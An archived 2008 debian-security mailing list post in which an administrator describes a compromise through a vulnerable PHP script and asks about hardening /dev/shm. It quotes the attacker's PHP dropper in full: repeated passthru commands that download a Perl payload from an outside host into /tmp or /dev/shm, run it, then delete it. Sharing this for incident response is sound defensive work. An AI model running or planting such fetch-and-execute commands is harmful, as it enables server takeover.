Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

Re: ping22: can not kill this process

From: Mike Wang <comritesecurity(at)gmail.com>
Date: Thu Jan 03 2008 - 18:18:31 EST


Hi folks

       I found the issue, it is one of the php script allowing the remote script to run.

       and the remote script is something like:

<?php

 passthru('cd /tmp;wget http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /tmp;curl -o bb.txt
http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /tmp;lwp-download
http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /tmp;lynx -source http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*');

Do you need help?X

 passthru('cd /tmp;fetch http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /tmp;GET http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /dev/shm;wget http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /dev/shm;curl -o bb.txt
http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /dev/shm;lwp-download
http://www.radiovirtual.org/bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /dev/shm;lynx -source http://www.radiovirtual.org/bb.txt
> bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /dev/shm;fetch http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*');

 passthru('cd /dev/shm;GET http://www.radiovirtual.org/bb.txt > bb.txt;perl bb.txt;rm -f bb.txt*');

Do you need more help?X

 passthru('id');

?>

        the /tmp was mounted as rw,noexec,nosuid, so it cannot run.

        but not the /dev/shm, so the hacked script downloaded to /dev/shm, and run from there.

        what kind applications are using /dev/shm? I googled around,seem not find much information.
right now I mount i as rw,noexec,nosuid.

Best Regards

Mike

-- 
To UNSUBSCRIBE, email to debian-security-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
Received on Thu Jan 3 18:19:15 2008

This archive was generated by hypermail 2.1.8 : Wed Mar 19 2008 - 06:54:52 EDT

Can we help you?X

Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library